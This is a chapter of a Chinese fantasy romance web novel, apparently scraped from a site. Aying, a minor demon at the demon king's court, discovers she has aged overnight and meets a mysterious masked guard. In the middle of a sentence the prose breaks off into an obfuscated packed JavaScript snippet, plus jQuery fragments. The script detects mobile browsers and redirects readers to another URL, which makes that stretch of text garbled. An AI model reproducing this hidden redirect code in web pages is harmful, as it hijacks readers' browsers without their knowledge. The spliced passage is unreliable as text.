6. 怎敌他晚来风急

作品:《核狸

    “王上可是要去杀了那女人?不然就饶了她吧,哨子找回来了,我也还活着,她失了双腿已经是最大的惩罚了。”阿樱苦口婆心的劝着,哪知眼前的人突然笑了出来。


    “傻阿樱,我只是去处理公务,再不去啊,那些老头子要杀了我了。”长离捏了捏阿樱的鼻子。要是一直能如此就好了。


    傻阿樱……


    阿樱白净的小脸突然间红透了,他的称呼……还有那动作……羞死人了。


    见阿樱还没放手,长离一时兴起,凑近床榻。


    “阿樱这是舍不得我走?那不如……做点好玩的事情?”长离压了下去,阿樱急忙将被子裹紧,连同脑袋一起缩了进去。


    “不逗你了,我去处理公务了,好好休息。”长离转身离开了。阿樱躲在被窝里,心脏还在扑通扑通的跳,久久不能平息。


    门外的长离笑意全无:“来人,把妖百通的老板请来。”


    ……


    自那天以后,长离便时常来探望她,还经常带些有趣儿的小东西。比如有一天他戴着一个小猪面具,躲在门口,着实吓了她一跳。随即她便被抱住了。


    “这是人间的玩意,等我忙完就带你去,看看那人间的趣味。”长离依旧在抱着她。


    过了好一会,他说:“对不起,阿樱。”


    “没事,要是你真觉得愧疚,下次给我带个糖葫芦吧,有好几日没吃了,酸酸甜甜的,我很喜欢。”她知道,长离是忙的,虽然他故作轻松,但是那疲惫的眼神她看得出来。所以她不奢求那么多,虽然她确实想出去散散心。


    她一直都没懂那句话是什么含义,只是以为他是因为吓到她而道歉。但是后来,她觉得好像从她死里逃生之后,所有人都变了。


    某天午后,阿樱躺在小院里的摇椅小憩。这张摇椅是她拜托长离做的,因为小院里有一颗枝繁茂盛的杏树,迎着些许微风,用来乘凉再好不过了。


    唯一的缺点是,她觉得手里有些空。若是果盘里装满了这酸酸甜甜的杏,那便是绝妙了吧。


    一阵噼里啪啦声将阿樱从与周公对弈的棋盘里拉了出来。


    “姑……姑娘……奴婢不是故意的,奴婢……”小丫头急的快哭出来了。


    她看样子年龄不大,也就一百岁左右,冒冒失失的样子倒是让她想到了她小时候。


    那时她也对这些东西一窍不通,看见长离就直接被吓破了胆,滚烫的茶水直接就撒在了长离手上,那样好看的手,生生烫出一个泡。


    那天她紧闭双眼,等着即将落下的巴掌。但是什么都没有发生。那个看起来可怕的要命的妖王说……


    “无碍,罚她去门外站着吧。”他始终没有抬头。


    门外种了一颗桃树,正值它的季节,它郁郁葱葱的长满了粉色的桃花,花香沁人心脾,将她心里的恐惧都冲淡了几分。


    原来他的意在这里。


    原来他也没有她想象的可怕。


    从回忆里神游了一番,她回过神,起身走向小丫头,小丫头眼神闪躲,那抹恐慌终究是没逃过阿樱的眼。随着阿樱一步一步走向她,小丫头也一步一步的后退着。阿樱看准时机,缓缓抓起小丫头躲在身后的手。


    “还是烫伤了。”看着手上一片红肿,阿樱有些心疼她。


    “奴婢名为嘉果,是鬼草一族的,自小就会些治小病的法子。”她左手轻轻一抹,右手的红肿便消失了。


    “今日这药姑娘怕是喝不上了……还请姑娘责罚。”嘉果害怕的低下头,要跪下的动作被阿樱拦住了。


    “无碍,我又不是得了什么大病,一些补药而已,再去熬了便是。”阿樱拾着地上的药碗,递给嘉果。


    “只是姑娘这药一天只得熬一回,方子里有一味药极难保存,都是王上遣了人日日去摘,过了一日便会枯萎了……这么珍贵的药材被奴婢……”嘉果知道自己犯了大错,就算被赐死了也是罪有应得的。


    “无碍的,一点药罢了,你无事便好。”虽然嘴上这么说,但是她已经有些起疑心了。所以她把嘉果留了下来。


    她明明都快好了,为什么还需要那么难寻的药材?为什么这些侍女如此惧怕她?她又不是洪水猛兽……


    太不对劲了!


    长离日日夜夜都在忙,在忙什么呢?她侍奉在侧的时候,从来没见过他忙成这样。


    阿樱没想到的是,这个问题这么快就要有了答案。


    夜半。


    一道迅猛的闪电泛着诡异的蓝光,将黑漆漆的天空撕裂开来。雷声接踵而至。窗子“嘎吱嘎吱”的被狂风吹动着。大雨顷刻间如无数支箭般扎落在地。


    床上的人儿口干舌燥,从睡梦中被拉了出来。


    “嘉果,水。”她只当是下午吹风着了凉,声音沙哑的不行。


    “嘉果?”未曾听见回应,她扯着嘶哑的嗓音又喊了一遍。


    她抬头看了看外面。


    或是雨太大,这小丫头先回去了吧。


    她坐起身来,缓了一会,随即扶着床沿站起来,往桌子方向走去。闪电从她窗前闪过,蓝色的光照亮了屋子一瞬。阿樱的余光瞥到了一旁梳妆台的铜镜。


    铜镜里在那一瞬间出现了一个穿着里衣的女人。她面容憔悴,目光呆滞。她的脸上长着许多皱纹,些许的青丝变成了银色,披在肩膀上。


    屋子又恢复了黑暗。


    这人是谁?


    阿樱瞬间头皮发麻,浑身冒着冷汗,摸着黑拿出火折子点燃了蜡烛,她一步一步向梳妆台走去。


    蜡烛带给黑暗的房间里带来了一丝光亮,外面依旧大雨滂沱。铜镜在蜡烛的照射下变得清晰了起来。


    阿樱坐在梳妆台旁的椅子上,她颤颤巍巍的伸出她那粗糙削瘦的手,不可思议的摸向脸颊。


    镜子里的人也做了同样的动作。


    她的眼泪布满了眼眶。这镜子里的人分明就是她!屋子里只有她!不……怎么会突然变成这样?


    此时阿樱心里五味杂陈,她怕,她震惊,她不知所措。她转过身,拿起蜡烛,浑身颤抖着往床边走。腿越发抬不动了,她直直向地面摔去,蜡烛掉落在地。


    黑暗中,她被拥入了一个温暖的怀抱里。


    不同于长离的温暖,这怀抱居然让她觉得……有些安心。


    明明是这种很危险的场景。


    明明觉得他是很危险的人。


    可是……为什么?


    这人身上带了些草木的香气,就像身处在一片寂静的草地上。或许是因为如此,她才觉得安心吧。


    “你是谁?”阿樱紧紧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15182567|165349||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的贴在此人怀里,她没有一点反抗的力气。


    “原来你变老是这个样子的。”男人声音略带戏谑,可是传到阿樱耳朵里却意外的好听。犹如……犹如初夏的微风,轻轻拂过树枝,拂过湖面。


    温柔如沐春风。


    “你能看到?我变成这个样子,是你做的?你什么目的?想要什么?”阿樱被男人抱在怀里,走到床边,放下,盖被子,一气呵成。


    “我自是能看到的。”男人并未说话,阿樱抬起头看向他。身处黑暗,她什么都看不清,只是隐隐约约觉得床边站着一个人。


    “你还没回答我。”阿樱对着黑暗开口。男人依旧没有回答。


    “你应是不了解的,有什么事找他便是,大不了打一架,亦或者你打不过,那下药毒死他便是。我只是一个妖力低微的小妖,又不是什么大人物,眼睛放在我这,没用的,他们也不会来救我,你也不会得到你想要的东西。”黑暗中传来了微弱的呼吸声,阿樱闭上眼,感知着方位,其实就算他杀了她,她如今也阻挡不了。


    “不如你把解药给我吧,我帮你下毒,你饶了我。”阿樱睁开眼,依旧看不清那人。


    “哦?当真?既然如此,那……”男人打了个响指,屋子里的蜡烛尽数亮了起来。


    阿樱这才看清床边的人。他双臂环抱于胸前,一身黑色的侍卫服,简单干练。头发束着,于平常侍卫一般无二。


    脸……她看不见。


    对方脸上挂着个面具。整张脸隐藏在了面具之下。


    这是她见过最好看的面具。通体白色,右半张面具镶嵌着朵朵盛开的,粉红色的桃花,看着里面的花瓣像是用了什么玉雕刻成的,花瓣外面用一层薄纱装饰着,向着额头伸展着。而左边的半张脸,落着一只同样做法的蝴蝶。栩栩如生,蝴蝶好似随时会扇动着翅膀,落到一旁的花蕊上。


    桃红色晕染整个眼妆。嘴唇部分反差最是强烈,是红色的,鲜血般的红色,心脏般的红色,魅惑至极。


    倒是有趣。


    “姑娘怎会如此想?就因为我救了你,你便栽赃在我身上?这也太不厚道了。”这声音和他现在的衣着真是一点都不匹配。


    “不过若是姑娘实在是想报这救命之恩,我倒是要好好考虑考虑需要你做些什么。”他在面具背后的眼似笑非笑,头轻轻扭着,这探究的姿态像是一只小狗。


    “救命之恩?我如今这个样子都是拜你所赐,何谈救命之恩?”阿樱扭过头不想看他,他应当是不会杀了她的,他还没得到他想要的东西,不然刚才她早就死了。


    “你看,你又误会了不是?我一个小侍卫……好好好,我不是小侍卫,但是我与你素不相识,害你做什么。”男人看到阿樱扭过头,一脸质疑。


    “你自己应该也发现了吧,周边之人有什么变化。不如等到明天你自己问问那个人,就以现在的形态,记住,别吃药哦~答案自然会揭晓的。”男人打了个哈欠,转身想要离开。


    “等等!”阿樱叫住了他。


    男人回头,阿樱指了指桌子上的茶水。


    “既然没想让我死,也不能渴死我了不是?”她刚才都没喝到。


    男人刚要推开房门的手收了回去,转身去桌子旁倒了些水,随后将阿樱扶起来靠在枕头上。